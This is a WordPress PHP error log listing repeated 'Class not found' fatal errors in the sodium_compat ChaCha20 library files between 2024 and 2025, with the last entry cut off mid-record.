[24-Mar-2024 12:11:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:14:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:14:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:14:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:14:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:15:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:15:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Sep-2024 22:15:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Sep-2024 22:15:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[19-Sep-2024 20:21:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[19-Sep-2024 20:21:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[10-Nov-2024 10:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[10-Nov-2024 10:35:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[13-Nov-2024 09:49:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[13-Nov-2024 09:49:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[16-Nov-2024 04:25:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[16-Nov-2024 04:25:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[17-Nov-2024 02:11:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[17-Nov-2024 02:11:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[02-Feb-2025 02:14:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[02-Feb-2025 02:14:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[22-Feb-2025 06:19:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[22-Feb-2025 06:19:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[29-Mar-2025 10:01:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[29-Mar-2025 10:01:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[13-May-2025 10:01:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[13-May-2025 10:01:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[13-May-2025 10:01:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[13-May-2025 10:01:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[13-May-2025 10:01:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[13-May-2025 10:01:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[13-May-2025 10:01:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[13-May-2025 10:01:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:00:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 12:00:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 12:00:23 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 12:00:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 12:00:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:00:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:00:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 12:00:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:30:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:30:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:30:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:30:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-May-2025 14:30:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 14:30:38 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 14:30:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-May-2025 14:30:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[18-Jun-2025 16:55:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[18-Jun-2025 16:55:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[19-Jul-2025 09:11:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[19-Jul-2025 09:11:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[20-Aug-2025 23:27:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[20-Aug-2025 23:27:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[21-Aug-2025 21:42:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[21-Aug-2025 21:42:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[26-Aug-2025 06:27:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[26-Aug-2025 06:27:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[26-Aug-2025 06:36:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[26-Aug-2025 06:36:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Sep-2025 00:44:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Sep-2025 00:44:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[04-Sep-2025 01:02:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[04-Sep-2025 01:02:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[06-Sep-2025 01:56:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[06-Sep-2025 01:56:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[06-Sep-2025 02:04:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[06-Sep-2025 02:04:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[09-Sep-2025 17:46:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[09-Sep-2025 17:46:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[09-Sep-2025 17:56:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[09-Sep-2025 17:56:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-Sep-2025 15:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-Sep-2025 15:09:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[14-Sep-2025 15:18:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[14-Sep-2025 15:18:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[18-Sep-2025 17:16:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[18-Sep-2025 17:16:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php on line 10
[19-Sep-2025 06:35:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/Ctx.php on line 10
[19-Sep-2025 06:35:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20_Ctx' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20/IetfCtx.php:10
